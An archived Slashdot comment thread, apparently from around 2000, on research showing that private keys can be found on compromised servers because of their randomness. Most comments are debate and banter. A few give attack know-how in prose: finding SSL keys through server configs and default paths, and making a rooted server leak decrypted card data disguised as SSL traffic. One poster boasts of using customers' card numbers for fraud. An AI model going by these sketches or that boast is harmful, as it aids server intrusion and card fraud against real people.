Slashdot Mirror
Encryption Key Retrieval Method Invented
try67 writes "ZDNet has this article discussing a method developed by several scientists (including Adi Shamir - the S in RSA, the guy who later found a way to crack RSA, GSM alg. cracker, and all-around very cool guy) of finding and stealing encryption keys from servers. The key's randomness seems to be what's giving them away." This is an interesting piece, but why do people continually feel that my credit card number is the most valuable piece of information I own? There's more than e-commerce at stake, people.
I never use my own credit card. My job gives me acces to literally thousands of CC numbers. Pick one, use it, discard it. Anonimity rules.
B&E is all you need. If my neighbours have it and I want one, I will soon get it.
Checks are a lot easier to forge/steal. Use a check card.
cDc only distributes a PC-Anywhere clone that's install program is a Trojan. Nothing interesting about that. Just lame.
To point out a flaw is one thing, to make it easier to exploit is another, IMHO. It's the difference between pointing out that a burglar can defeat your alarm system and providing a specialized toolkit to all and sundry with which to do so.
You know, fer oncet I think I'll post anonymously...I'm afraid I don't understand how turning a 17 year old girl into stone will help you break encryption? Well, a ritual sacrifice of a young virgin could help, but I've never heard that turning someone into stone counts as that...
...themselves, since you have access to the users
files. As I understand it [1] credit card numbers
have checksum-like fields to verify that a string
of digits really is a credit card number. Why
not just look for sequences of numbers that match
that?
-- AC
[1] I once had a job that dealt with visa and
we had a whole bunch of thick binders
describing the system. I'm pretty sure the
checksum algorithms were in there.
If only the place
wasn't too cheap to have a copy machine!
There is an easier way than the method this article describes. First, the article is ONLY relevant IF (and it is a BIG IF) the server key(s) are either 1) readable to Joe User's account, or 2) a person has root or administrative or high-level access to the server. Anyone who operates a server and gives users access to key files is incompetent in the first place. Giving away high-level access is likewise stupid. The only real danger would be compromise, which danger can be greatly reduced by an administrator who is security savvy. Given these IFs, someone WITH high-level access can find the encryption keys FAR MORE QUICKLY and EASILY by looking at the system configuration. Somewhere, the secure web server must be launched. The system config. that does this launching will tell you where the secure server executable is located AND any command-line switches. Once you know that, you can quickly find the web server configuration files which will tell you where the secret server key(s) are located. Bingo! I suppose this might not be any easier, but it would likely be faster IF the server has very large disk capacity and usage. While the randomness program goes a-searching, a smart cracker using his/her brain will probably find the keys even more quickly. An added benefit of using the brain is that MOST secure web server software will put the key in a well-known spot. For instance, some Unix installations of Apache with SSL will keep secret keys in /usr/local/ssl/private. Finally, it bothers me that this article is so sensational. NO ENCRYPTION ALGORITHMS OR IMPLEMENTATIONS WERE BROKEN! This supposed "attack" is nearly useless since there are smarter ways to find keys. Most keys ARE NOT HIDDEN!
There is an easier way than the method this article describes.
/usr/local/ssl/private.
First, the article is ONLY relevant IF (and it is a BIG IF) the server key(s) are either 1) readable to Joe User's account, or 2) a person has root or administrative or high-level access to the server. Anyone who operates a server and gives users access to key files is incompetent in the first place. Giving away high-level access is likewise stupid. The only real danger would be compromise, which danger can be greatly reduced by an administrator who is security savvy.
Given these IFs, someone WITH high-level access can find the encryption keys FAR MORE QUICKLY and EASILY by looking at the system configuration. Somewhere, the secure web server must be launched. The system config. that does this launching will tell you where the secure server executable is located AND any command-line switches. Once you know that, you can quickly find the web server configuration files which will tell you where the secret server key(s) are located. Bingo!
I suppose this might not be any easier, but it would likely be faster IF the server has very large disk capacity and usage. While the randomness program goes a-searching, a smart cracker using his/her brain will probably find the keys even more quickly.
An added benefit of using the brain is that MOST secure web server software will put the key in a well-known spot. For instance, some Unix installations of Apache with SSL will keep secret keys in
Finally, it bothers me that this article is so sensational. NO ENCRYPTION ALGORITHMS OR IMPLEMENTATIONS WERE BROKEN! This supposed "attack" is nearly useless since there are smarter ways to find keys. Most keys ARE NOT HIDDEN!
I'd be willing to make a bet that this will have ZERO effect on the dotcom stocks. I mean how many people are EVER going to find out about this.
Its really not big or shocking news at all. Its extremely short sighted to say that the dotcom stocks are going to crash because of this finding.
I'd say you're more likely a prick who's full on himself
Hackers are criminals. All the "Robin Hood" romance you try to attach doesn't change the fact that breaking in and stealing are crimes.
This article is complete rubbish. Keys and certificates are normally stored read-only superuser, so administrative access would be required before this search could be performed on the filesystem. Bah, sounds like they're trying to stir up some $$$
Seriously, credit cards are the *only* universal way to pay for things on the web. They're faster (no waiting for checks to clear), offer gov't backed protection (max $50 liability for charges on stolen CC number), and they work INTERNATIONALLY, with little to no surcharges for currency conversion. Checks and money orders cannot do this. And the "high interest of credit cards"? Just get one with no annual fee and pay off the bill at the end of every month. Then there's no interest. If you cannot do the latter, your have other financial problems which a CC will simply magnify.
You live in the US, but want to buy from a web store in Japan, Hong Kong, or the UK? Checks? Forget it. Plain out-of-state checks are a pain. International ones are worse. Visa is accepted nearly anywhere on the planet and is virtually a universal money (more than dollars or the Euro combined). And there's no surcharge for the currency conversion. I check my bill at the end of the month against the dollar to yen/HK dollar/pound exchange rate from the newspaper (on the day I make the charge), and the exchange rate is usually right on (rarely 1% above par).
By the way, speaking of using terms in a way completely foreign to their "real" definition, do you know what a geek is?
A circus performer who bites the heads off of chickens?
Ahem. BLAH BLAH BLAH. Thank you.
Um. No one really cares if you aren't here. Don't let the door smack yer ass on the way out.
No, you're just a plain ordinary jerk. Nothing special at all about it.
Just quit being a pedantic little jerk.
Please.
Only if you want to be a perpetual loser.
And you're sure striving towards that.
Bleah! Here's a towel to wipe that mess up.
The .org is quite descriptive of slashdot's hottub of ideas and a .com would just make everyone's opinion common and ho-hum. A .com is like an .orgy without the free partners.
Free software is like sex. Its better when its free!
I carry a single card that draws on my checking account, but has the VISA logo on it. It works at merchants that take VISA, and it also serves as my cash withdrawl card at ATM machines. I've had it longer than anybody else I know with a debit card. I guess the IBM MidAmerica Employee's Federal Credit Union is a little ahead of the trend in that respect.
Whatever.
"self destructing if tampered with" key archives must be sportin' good fun to people who primarily focus on generating DOS attacks.
It sounds like they were smart enough to not have a copying machine that you had access to.
And as you speak of the job in the past tense, it sounds like they were smart enough not to keep you around, either.
On trips to various parts of Europe, I never had any problem using my ATM card to withdraw cash from an ATM. Now this ATM card doubles as a Visa Check Card, so that may be why it worked. But the ATMs required me to type in my PIN, which I don't normally have to do when using the card as a Visa.
Wow, so all the people who rant about the
willfully ignorant people out there who called
this New Year's the turn of the millennium need
to just shut up. They are wrong by majority
override!?!
Or I guess my car really is powered by a motor
and not an engine. Most Joes call it a motor
therefore that must be correct.
And the whole twisting of the true definition of
conservatism and liberalism...eh, to heck with
it.
I think I'll continue to use words, espescially
those from very precise fields like Comp. Sci.
and Engineering, as they were defined by the
people who know what they are talking about
and not as defined by the people who ignorantly
latch onto a buzzword w/o taking the time to
do a little research.
come on all you point mongrels.. this one should be up at the top!
Because then I could have Natalie Portman naked and petrified and with that I'd be able to do anything!
As I read this article, a rather obvious conspiracy
theory grabbed me. The RSA patent is set to expire
shortly (Aug 2000 I believe). I wonder if they
always had this method of decryption, but only now
want to show it as a problem.
Why would they do this? To protect their revenue stream
with a newly patented methodology that *doesn't* have
this problem. Put another way, if August comes around
and RSA is still the default standard for encryption, they
have absolutely no "guaranteed" revenue stream. Put more simply,
given the upcoming expiration of their patent, they
have every reason to do something to promote their
other patented products.
I'm sure I've seen stuff about this in the net way, way back. I can't remember where, perhaps in some crypto site. It dealt with the exact same thing: the keys are too random, so they stand out from a mass of ordinary data. AIRC it had Shamir mentioned somewhere too, so it might have been this very same thing.
It's the first time I've seen the concept mainstreamed though.
The NSA key is not a back door. This has been established. PAY ATTENTION.
If you remove the randomness from the key then you make it exponentially easier to crack, wouldn't you? I.e., it would not be to hard to combine a brute force attack using dictionary words with an algorithm that would add syntax rules. There wouldn't be much purpose for hiding an encryption key if it was easily crackable!
This article is not entirely new, I read the original paper several months ago. Look at Bruce Schneier's monthly newsletter at Counterpane to find the link.
[sarcasm] Of course, if we'd all just accept TomG's interpretation of meaning as the universal standard, then there will be no more difficulty: TomG, philologist, etymologist, usage authority extraordinaire. Transgressors beware! You shall be called "abusive" and "perverse" (it's anyone's guess what TomG means by that), and if you don't relent, he'll *gasp* leave us!
Sorry to pick on you, TomG, but I find the whole "chracker" debate to be just plain silly. Squabbling over "holy words" reduces the discussion in an otherwise technical forum to mere religion, something I find to be at least as distasteful as the alleged abuse of your sacred words.
How about quitting being so arrogant, then?
And how often do store clerks check the signature on the receipt against the signiture on the credit card ????
only cos youre a moron.
I'm a white-trailer-trash boy from the south. I'm a cracker. So I'm a criminal?
Nat Portwoman is 17? No way. She lives next door and is at least 65.
Take a deep breath Spock, and realize that we're not all perfect and 100% logical. Its human behavior. (Some of those professors you spoke of are some of the most logic-immune folks I've ever met, no better on many occasions than "non-experts" or stupid commoners as /. likes to call them.)
btw some folks arugue the whole Roman M thing. 1000 yrs = millennium = M
year 1000 = M
year 2000 = MM (two milleniums?)
Of course they would. What does this have to do with their 'misuse' of the word 'hacker'?
I didn't realize RSA was cracked.. Is this a crack that works in general, or relies on some specific implementation?
Why should NSI get more money when they've long since stopped caring about this?
The liability limit has the same rationale as insurance- fraud and identity theft can be devastating for an individual victim, but are rare enough that a large organization can easily charge a bit and assume the risk. It is sort of an odd thing to mandate by law, though, akin to requiring everyone to have renters'/homeowners' insurance (rather than letting the owner decide how much risk to pay away).
Amazingly, some credit card agreements don't permit "see ID" as a signature. You'd think they'd want to encourage it.
Yeah, inside jobs happen. So this product is intended to limit the people who are supposed to install it? Is this some kind of a joke?
The Web server needs the private half of the SSL keypair, or the client couldn't be sure about who it's talking to. SSL is link-level encryption, not message-level- there's no provision for receiving data without being able to interpret it. If you're suggesting it should re-encrypt the data and pass it on to a secured "vault" server, yeah, that can be a good idea.
Agreed. This has got to be one of the lamest Slashdot articles I've read in a while, and it seems to have attracted the lamest posts. What sort of nitwit thinks that he should get a credit card that doesn't charge him interest if he doesn't pay off the balance on time? Pitiful. That Matrix parody didn't make much sense either. Someone didn't take their medication.
This article was certainly vague... as a web server admin, I know that, uh, finding the location of the encryption keys is rather simple... it is usually in httpd.conf or the equivalent... why in the world would you need to do a search through the whole hard drive for seemingly excessively random data? It is highly unclear from this article about what conditions would require activity of this sort. Furthermore, I'm not understanding what good this would do you? Wouldn't you have to also spoof the associated IP address, etc.?
FWIW I once had my CC# get "out into the wild". Some lamer was racking up huge bills on porn sites with it. I had not been using my CC much @ that time and it all started two days after I placed a telephone order for concert tickets w/ admissions.
I had never used the card for e-commerce.
On a related note, my girlfriend once worked for what was more or less a phone fraud operation. They had a big list of CC#'s circulating around the office.
At least with e-commerce there is some attempt at keeping this information secret and I for one feel more comfortable typing my CC# into a secure server for a reputable company (and quite possibly never having my CC# seen by a human if they have a fully automated system) than giving it to some kid on the phone, or having little slips of paper lying around the dumpsters at the mall.
SSL is hybrid (the symmetric key is delivered via asymmetric encryption). If the server doesn't have the private key, it can't really do anything related to the public key, neither signing outgoing data or decrypting incoming data. SSL does not allow a server to establish a session for which it cannot decrypt the application data- in fact it could not, or the server would be unable to understand the HTTP requests! If you type a secret into a Web browser, there is no way to protect it from the server that will receive the form submission.
I gather that by "destroying a word's meaning" you imply that when the word is used in casual conversation with a typical person, the interpretation is that of the new definition rather than the old? (This is the only consistent interpretation I can find for your ranting--if I am wrong, please correct me). If so, then the only difference between "expanding a word's meaning" and "removing meanings" is the level of usage of the definitions. When a word such as "geek" almost exclusively describes a "reader of slashdot" rather than "chickenhead biter," then by your reasoning the original meaning has been destroyed. (I personally would use another word for what happened--"displaced in common usage" perhaps--but then again, I am not the universal standard[tm]). I suppose circus performers mourned the loss of their holy word much as we seem to mourn the loss of "hacker." They got over it, and I suggest that we do as well.
A bit of advice: If you would spend more than 10 seconds composing your posts, you might be more effective in communicating your ideas. One or two thoughtful essays on a subject is of considerably higher value than dozens of slapdash 1-liners with low information content.
-AC
(I have an account, but since I'm at work right now I don't want to advertise that I'm not actually working).
Interest is not charged for the first 30 days or so (when you get statement), and you can have a debit card. In either case if someone make an unathorised transaction, you get all your money back, it takes just a few calls to your bank.
Blue green word up back cow dig , . who gag spang food blue arsenic pink male about pig sink gun finger of pee Jenkins. This sentence means a lot...... to me. In a way, all of our percieved reality is just what meaning(s) we apply to it.
I have one (1000). Though this post is absolutely useless since it is anonymous. :o)
Do you have a link?
From the article, it seems this problem only affects users of shared virtual servers.
If someone has access to the filesystem with the key, that's the problem that should be fixed.
Of course, if you website is not secured, slapping SSL on top if it won't help.
First of all, as everyone else has pointed out, is a cracker has access the filesystem where you store your keys, you have more important security concerns.
f
Second of all, this was reported almost a year and a half ago (Sept 22, 1998)
http://www.nciph er.com/products/files/papers/anguilla/keyhide2.pd
Shit, he's on to us. Okay, I admit it, I was in on the decision. Me, Rupert Murdoch, Ted Turner, and a half dozen other media biggies had convened a meeting. We were in a dimly lit room, each resting in a leather-upholstered chair, smoking cigars, drinking cognac, and trying to answer the question: "How can we stick it to the geeks?" We spent hours debating the issue. We considered dozens of solutions - chain gangs, death camps, insanely high taxes on twinkies and Jolt, but none of these things really seemed satisfying. Finally, Ted had an idea: we would begin using the word "hacker" to refer to computer criminals, until it had thoroughly negative connotations in the ears of the public. Everyone praised the elegance of this plan, and thus, the matter was settled.
I don't think you get the point. The main issue is not the card numbers that you have sitting on the machine that day the hacker gets into your server (and someone will eventually...). Once you detect them, you can call the credit card company and say these cards numbers may have been compromised. It's a hassle, but a bounded one. But once somebody has the Private Key for your site's certificate, you can no longer safely conduct business on that site until the key expires years from now (there is no revoke). The people with your stolen certificate can set up alternate sites in combination with a DNS attack and just BE you as far as web security goes. If you just spent a fortune on getting your brand recognized as foo.com, guess what? You can't safely use that anymore! This IS a big deal, and why it is more important to protect the key than the data that it is guarding today. As was mentioned before, putting the key into a crpto-engine card, etc... keeps your certificate safe, not the data that it just decrypted.
Although the person writing the article was obviously trying to sensationalize by mentioning credit cards numbers, I doubt the intelligent people behind the research considered that the primary issue. As you say, there are lots of ways to limit your vulnerability to just those credit card numbers that flowed through the server while it was compromised.
The bigger issue I see (and thought about alot during some fairly large e-commerce projects I worked on) is SSL certificate compromise, and what that could do to a business long-term. These certificates don't expire all that often. Once one is compromised, that should make the domain name they are associated with useless for e-commerce until the compromised certificate expires. If you have alot of money invested in branding your domain name, this can be a very big deal (imagine amazon.com getting their certifcate compromised, for example).
Now, all the big boys do protect their certificates like the formula for coke. But what about those aspiring web sites? A hacker could gather up certificates for many of these sites, wait for one of them to become the next e-bay (it seems you only have to wait a few months these days), and then start masqerading as them on the web, successfully, because they have that site's certificate. While they won't likely steal much before being found out, that e-company is RUINED in a day!
Moral: If you don't mind that your domain name may have to change (or go unused for a few years) after a compromise of your server, go ahead and put your SSL keys right there on the server (in memory or disk, its just a matter of degrees of difficulty after that). If you think that domain name is valuable to you, invest in some crypto hardware. You'll sleep better.
cat /dev/credit > /dev/audio
/dev/urandom
/dev/credit >> /dev/riaa
/dev/credit
/dev/urandom > /dev/credit
/dev/credit | bsod | >> /dev/msft
/dev/zero /dev/vaporware /dev/vaporware
mp3 the sound of money:
mpg123
the RIAA way:
mpg123
Making a cach advance:
cat
Fraudulant use:
cat
Using windows:
su
watch cat
Windows 2000 promotions:
ln -s
cat
If you print "See I.D." on the back of the card in lieu of a signature, then you aren't even liable for the $50. I believe the same holds for check cards as well.
I have had and used credit cards for over 5 years. Never have I paid a cent of interest. How? I pay the total balance every month when it is due. High interest rates only affect people who buy more than they can afford.
Having a credit card number stolen is a worry, but not a great one. The price of the stolen goods goes into creating those high interest rates (along with greed) because the individual card holders usually refuse to pay for unauthorized purchases. If a customer's card gets cancelled over it, there are plenty of other credit card companies to step in for the old one.
The "attack", detailed in:
f
:)
http://www.nciph er.com/products/files/papers/anguilla/keyhide2.pd
appears to be a better search algorithm for finding keys in already-compromised media. Anyone relying on a strange filename or a full disk to hide their RSA keys now has even more need to worry
This is not a new "break", it just make security-through-obscurity even less obscure/secure.
And Microsoft have still given us no good answer as to what their NSA key is for.
I have been paying close attention.
--
Xenu loves you!
This algorithm was published quite a while ago: I've implemented it myself. It's best use is to look for "NSA key" type backdoors in closed source software, like Lotus Notes. The only "news" is that nCipher have worked out a way to turn it into publicity for their product. As everyone is saying, it's not very contentful.
By the way, Adi Shamir (and Ron Rivest, for that matter) have done a *lot* more crypto work than just RSA. Shamir is one of the inventors of differential cryptanalysis (along with Eli Biham).
--
Xenu loves you!
Storing secret keys on an accessable server is stupid anyway. If someone roots the box, they'll just use your software to do the decrypting for them.
The correct procedure is to store the public key on the web server, and have it send the encrypted data to a private server behind a secondary firewall. THAT server is the one with the secret keys. The second firewall should choke off all but the port used to transfer the data.
The same people who will be deeply worried about this will freely hand their card to a waiter (who will disappear for several minutes before returning with card and reciept) or read out the number for a phone order and won't think twice about it.
If you've cracked the server already finding a stored key is so-what. Probably easy enough to just look in the server directory tree - most people probably put them somewhere in that vicinity. Besides, what you really want is just to pull the order databases down and you have the CC #'s and shipping addresses. Duh.
The revolution will NOT be televised.
At one time I thought that many words were misused before I looked them up in a dictionary.
Personally I believe you are fighting a loosing battle. The hacker community doesn't want to be labeled like criminals, so they try to push a new usage and a new word cracker. Obviously the population as a whole and mass media didn't accept this, despite the rant campains and possibly some write-ins to the journalists. I do still believe that criminal should be an adjective for hacker, where hacker really shouldn't be an assumed criminal, so I do agree on that point.
I greatly respect the engineering that went into this paper, but I think we're talking about a little bit of...oh, I don't know...when you've got a hammer, everything looks like a nail?
What's been discovered is a method of, independant of the file system and various configuration files, extracting a key based on the difference between that key and the surrounding ambient randomness.
Independant of the file system?
How, exactly, is the web server supposed to retrieve the private key without a file call? Perhaps it should reference a specific block on the hard drive, and read x bytes from that location? Oh, oops, now we've got a "big deal" of a security breach in our web server configuration files.
When I first read this, I had assumed they discovered a method by which the private key could be divined by remote interrogation of the server side provided challenge. That's not what they discovered. They found a way that, given a hard drive with every single file cataconcated together with no indexing system available, they could still find zones likely(but not guaranteed) to represent private keys.
Anyone here have a hard drive like that?
This is *cool*, from a geek sense. I appreciate the value of the research. But it's so far from a big deal, it's ridiculous. It's one thing to say that shared servers increase the risk of having your private key stolen--I'd *hope* that the keys of one customer are isolated from the owners of another--but this specific worry is just...inaccurate. Cool tech, but not something to have your blood pressure increase over.
Yours Truly,
Dan Kaminsky
DoxPara Research
http://www.doxpara.com
However, I'm intrigued by that comparison to ultra-quiet submarines.
Think for a moment. Say you had a fleet of ultra-quiet submarines. You know that your enemy can track them if my looking for unusually quiet spots. So, what do you do?
The answer: surround their fleet. Cancel out the ambient noise, so the quiet spots can't be picked out. It's the opposite of creating noise to cover noisy submarines.
Therefore, one answer would seem to be the creation of many "dummy" keys on the server. They're generated just like the "real" key is, so they're just as random. Thelocation of the "real" key then becomes a closely-guarded secret, of course, as much so as the machine's root password.
Consider that the strongest keys out there are only 4K. This means that creating 1000 dummies only wastes four megs of space; in an age where it's hard to find drives less than twenty times that size this isn't really that much of a space-waster.
The best solution would be a completely-encrypted filesystem. Then there would be no way to tell the key from any other data, and even if you could it would be useless. Are there any good fully-encrypted filesystems out there yet? Linux-compatibility would be a plus...
emmett mentions that Adi Shamir found a way to crack RSA. Can somebody please elaborate on this???
___
___
If you think big enough, you'll never have to do it.
All a hacker would have to do, Hopcroft said, is set up an account with an Internet service provider hosting a company's Web site, "go into that server and root around looking for the keys of other companies. With [the key] there is no way for me to be distinguished from a legitimate business owner."
OK, that's funny. I hope that any ISP that leaves secret keys around w/ out proper permissions (ones denying Joe-Other-User from my critical information) and w/out a properly long passphrase (in the case of SSL certificates) would not even be in business. Private Keys are something that you keep properly protected. And if someone gains root access you are screwed. They will find the key, not because of the randomness, but because they now have complete control of the system. Once someone gains root access, there is not much you CAN do to prevent them from getting the key.
These checksum algorithms are public knowledge. There are several examples on the internet, you just need to look for them. I've used them several times in back end web development just to do a preliminary check on wether a number submitted can even be a credit card number.
It appears that the article is discussing a flaw in the implimentation of an asymetrical algorithm, such as ElGamel or RSA. Real easy solution folks - the server that is actually taking credit card numbers should only have the public key stored on it. There is no need for the private key to be on any public accessable system, as the decryption of the card data is done only by the card processor, which is never done on a system connected to the Internet.
You also must introduce randomness to the credit card data before encrypting, because the regularity of credit card numbers allows a cracker to make a known-plaintext attack.
I've been dealing with security and encryption with e-commerse for about two years. Anyone who would set up a system like that discussed in the article is a rank amateur and a fool.
The article is a bunch of bullshit.
So let me see if I can get this right...the cDc releases information about a security risk in a certain company's operating system, thus causing said company to deny there is a problem, blame in on the cDc, and finally, fix it...eventually. Therefore, the cDc is a bunch of evil hackers because they provided this information.
When a group of respected scientists point out a security vulnerability, they're the good guys, for pointing out a vulnerability that 'hackers' might exploit.
Well, I guess that's fair.
And double-check your other IDs as well. I have seen student IDs double as a debit card for college services. (This was at Dartmouth College, I am sure they are not alone.) There were incidences of people's cards being stolen and substantial charges being racked up.
All in all, if you have some piece of plastic that can hand out your money, you should know the liability rules and what protection you have on that piece of plastic.
Cheers,
Ben
My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
The details vary according to your country's consumer protection laws, but if your credit card is stolen and used, you are not directly liable for more than a certain amount. ($50 in the USA.) Who is? The credit card company! The cost of that liability is a risk they bear, and comes back to merchants and consumers through costs for setting up credit cards.
This is why credit card companies put so much energy into keeping profiles of consumers, and will yank your card as soon as you no longer fit your profile. It is also why banks love debit cards - since they are drawn directly on your bank account, there is no limit on your liability risk.
Just another right that people have and don't appreciate...
Cheers,
Be
My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
If slashdot doesn't stop linking to articles that says hackers are computer criminals, I'll stop reading slashdot. *sigh* Why? Because I expect Slashdot to link to truthful stories.
TomG
Hackers are not criminals. Hackers do not break in. Crackers break in. Get it? Got it. Good. And yes, crackers are criminals.
TomG
A cracker is also someone who breaks into computer programs. And it's not as hold, hackers have existed before copry protected software. This exclusion that you speak of, if I understand, is simply me being accurate.
TomG
I will keep this in mind for the future, thank you for the idea. :-)
TomG
I do not appreciate being called a hypocrit. There is a difference between expanding a word's meaning, and removing meanings, or destroying the previous meaning.
TomG
An excellent and important point. A point that I make to people and they do not remotely understand.
I've had to tell my bank twice that they do NOT have my permission to issue a credit card that comes out of my account.
I don't know where the idea came from the "check cards" are in any way superior to credit cards... it's completely wrong. A check card is both more risky for the reason you state, and more expensive because you pay right now, not 30 days later with no interest.
Check cards can deplete your account (making your house payment bounce) when the card is stolen/copied/fraudulently used.
Use a credit card, you will out $50 (at most, generally 0) if it is stolen, and your house payment won't bounce.
Arguably, remote commerce isn't anywhere near as dangerous as buying dinner at a decent restaurant.
Think about it. You're just handing your actual credit card to someone you've barely met. They may take it across the street and buy a TV for all you know, or they may just decide to keep it.
This is just like television, only you can see much further.
I respectfully disagree with your assessment. I don't use *CREDIT* cards because they have their own set of problems. I've actually had fraudulent charges show up on my account, and once I called the bank and informed them, it was about a day or two before the account balance was back to normal. Banks might say they don't *have* to cover losses on a check card, but in the interest of keeping their customers happy, they usually will. The best thing about a check card is that it's pay-as-you-go. You don't have the money, you don't buy it.
It isn't always that easy. In an infamous case, John Munden, a British police officer, was charged with attempted fraud and convicted for complaining about funds missing from his bank account. The bank, Halifax Building Society, said that their systems were secure, therefore Mr. Munden was lying. This was enough to convince the court. The conviction was later overturned on appeal.
Mea navis aericumbens anguillis abundat
Key storage and protection is an old problem. You have to assume that the operating system may be cracked, either by an external attacker or by an authorized user. The solution is to store keys in a tamper resistant hardware device, which can be an external box or a special chip. The keys can go into the device, but they can't come out. IBM has used this approach for their mainframe cryptographic facility for decades. IBM has a PCI card that solves this problem for PCs.
Mea navis aericumbens anguillis abundat
As you have root access (you can read the key, can't you?), let the server decrypt it for you, and then send you the information that you want. This would uncomplicate things greatly, as you don't have to spend any of your own time decrypting/parsing the info.
Then, once you have the info that you want, have it send the stuff to you in a packet that appears to be, say, a spoofed SSL packet going to a client who's coincidentally wandering around the site looking at stuff at the time, and thus get all the CC numbers you want without anyone knowing, given that the packets that your hack on the server sends you look normal, you don't use it too much on one server, you clean up your footprints, make it look like your attempt failed (ie, continuing to look for other holes), and tell no one.
If you want your keys to be secure, the system that keeps them has to be physically secure and secure against unauthorized logins because at some point, the system will have the plain text keys in memory somewhere.
Of course, the whole thing is an attempt by nCipher to drum up business--they want to sell their "nCipher hardware". If you use a cryptographic accelerator that also performs the key management, you are a bit safer, because most of the time, the keys are available only inside the accelerator, a device that is probably harder to "break into" than the whole server. But nCipher's solution is still vulnerable because you communicate with the encryption box over the web and the web client you use could be attacked.
The best security for your keys is likely to be achieved by using a crypto accelerator for which the key is entered physically at the box (e.g., via a SmartCard or keyboard), or for which you physically connect the box to another, non-networked computer while performing key management functions. Lots of products besides nCipher's are capable of that.
If it used just the date and time to seed the random number generator, that wouldn't be very random, now would it? There's countless ways to generate good random numbers... And the best are free for all anyhow, so it's really unlikely that it would be that simple.
How many of your ISP's even have your private key? I know once I generated my keypair, i sent mine the public key and kept the private key for myself. They just forward me my data and i decrypt it from my computer, rather than let them decryp and reencrypt and send to me.
Likewise... I doubt (and hope that not) many of the major e-commerce sites keep their complete key pair on the same machine... Likely, they'll have a cluster of webserves with read only access to the products database, and write only to the orders database. those machines don't need to know what the data that they're passing back and forth is, they just need to get it from the server to the client.
Not that this discussion really belongs here but slashdot.com is some DSL provider or something that's squating on it. So it's not like they have the choice, unless the want to rename the site which would just be stupid.
a) The banks do not cover the charges in most cases and especially not in cases where a magnetic swipe is not take (i.e. ecommerce and phone orders ). In these cases if it's the merchant ends up eating the cost of the charge because the bank takes the money back.
b) The banks/processors get a small fee for every transaction on top of the percentage. They keep the fee and the percentage whiel dinging the merchant for the entire cost of the charge when they only deposit the net amount after fees. This fee is around 12 cents a transactions for Visa + approx 3%. So assuming someone stole a million cards and ran just one transaction on it. Visa just made $120,000.00 off of fraud and that's not even taking into consideration the percentage.
c) On top of the fee to run the transaction there is normally a fee for handling the fraud process (known as a chargeback). A low for this fee in the market is $5.00 and I've seen it as high as $15.00 per charge. Which would mean as much as $15 million in revenue off the fraudulent charge.
d) Before most chargebacks mentioned above are run a retrieval request is also issued. This is normaly also a $5.00 - $15.00 cost.
The only time the credit card companies are risking anything is if the merchant goes out of business. Which is highly unlikely since most people who steal cards spread there fraudulent activity around.
So frankly I don't think the card companies have any incentive to solve the problem. Merchants are always the people left holding the bag.
If I have access to the server, I have access to the code that runs on the server. If I have access to the code, I can trace through that code, find out where it gets its keys from, and do the same thing. This has always been the case.
The key is to keep people from getting access to the server - not to claim that there's something wrong with the infrastructure because it's possible to compromise something outside of it.
PenguiNet: the (shareware) Windows SSH client
Van Someren said nCipher decided to go after encryption keys because "we make products that redress these problems." The company offers a hardware solution to the problem of encryption-key security.
Translation: nCipher decided to make you paranoid about storing your decryption key anyone on your hard disk, so you'd store it with nCipher's hardware solution instead. *Very* thoughtful of them.-(
If I understand this "vunerability" correctly, the approach is to read every block on the hard disk, looking for sequences that are unusually random. Is this supposed to be more effective than looking for strings around the words "decryption key"?-|
Stupid job ads, weird spam, occasional insight at
Is it just me or isn't this a "well duh"? I figured that most web hosts would be intelligent enough to have their shell server, file server, and web server seperated. Not to mention I would hope that people wouldn't keep their key files 777.
One piece disturbs me:
All a hacker would have to do, Hopcroft said,
is set up an account with an Internet service
provider hosting a company's Web site, "go into
that server and root around looking for the keys
of other companies. With [the key] there is no
way for me to be distinguished from a legitimate
business owner."
Is it just me, or isn't this another "well duh". If you have shotty administration and security you are going to have "hackers" breaking in and "root[ing] around". The only revelation that this article seems to make is that poor administration, poor implementation, and shotty security go hand in hand. Anyone who has been in the ISP or hosting business knows this for a fact.
It all comes down to 'buyer beware' - and if the consumer doesn't heed that then they are at fault.
That's funny, considering that most credit cards are already charging the maximum interest rate allowed by law, or very close to it.
All this story says is that once a cracker has compromised a server, then they have a more easy way of locating the encryption keys that may be stored on it. No method has been found for breaking the encryption itself and this does not make e-commerce unsecure. All it actually means is that companies with insecure webservers will find that the keys stored on their servers are located slightly more quickly than by other means. Please note that posting this story was designed to cause a reaction because the guy who posted it (emmett) is reasonably new and wants to create a good impression (TM) amoungst readers. Unfortunately, what he fails to realise is that it is a load of scaremongering shite that he has posted. Anyone who thinks this changes anything is wrong.
Please people, actually read the stories that are posted and don't just accept some bloke interpretation. This story wasn't worth posting.
Thank you.
Jonathan.
http://www.jonmasters.org/
Exactly, if you can't change the signal, then just raise the noise. (This applies to politics as well :)
"It's overkill, of course. But you can never have too much overkill." - Anonymous Slashdot Coward
Yes, Nicko van Someren demonstrated this in the rump session at the 3rd International Information Hiding Workshop back in September. He showed a CGI program running on a web server being used to find the private key used by that server. This works if you can run a CGI script as the same user as the server (ie. with access to the memory of the server).
Even if the memory is in actual memory, there are tools to scan the memory itself, all you need is the correct rigths.
--
"take the red pill and you stay in wonderland and I'll show you how deep the rabitt hole goes"
[]'s Victor Bogado da Silva Lins
^[:wq
The vulnability described is a way to scan memory and finding a private key in the middle of it. Since most servers, even the NT ones :-), have strict security on who can run and who can access memory this would be no problem for most of the server.
The major problem I see is the virtual servers that hold many sites into a single machine. Every site owner have access to run programs in the machine, if those sites are not properly secured one site owner could be able to exploit some known hole to be able to scan memory is search for other site owner's keys.
--
"take the red pill and you stay in wonderland and I'll show you how deep the rabitt hole goes"
[]'s Victor Bogado da Silva Lins
^[:wq
How about, first the program generates a lot of valid assembly code of the server's processor, then assembles it, and chooses various assembled bytes as the key? (New meaning to "large instruction set"...)
Certainly hard to find a key through what looks like valid executable binary code...
This is just evidence that you are probably no safer giving out your credit card info over the internet than you are safe from getting mugged in a large city.
This is a very good point. Just as I wouldn't stop going into the city and carrying cash just because I might get mugged doesn't mean that I might stop using credit cards online because I might have my credit information stolen.
Oh, wait. This wasn't your point at all. Sorry
As I'm reading this article, they are saying that once into a web server, it is easy to search for a key because it is more random then any other data on the disk. Wish I could get paid for these kinds of revelations.
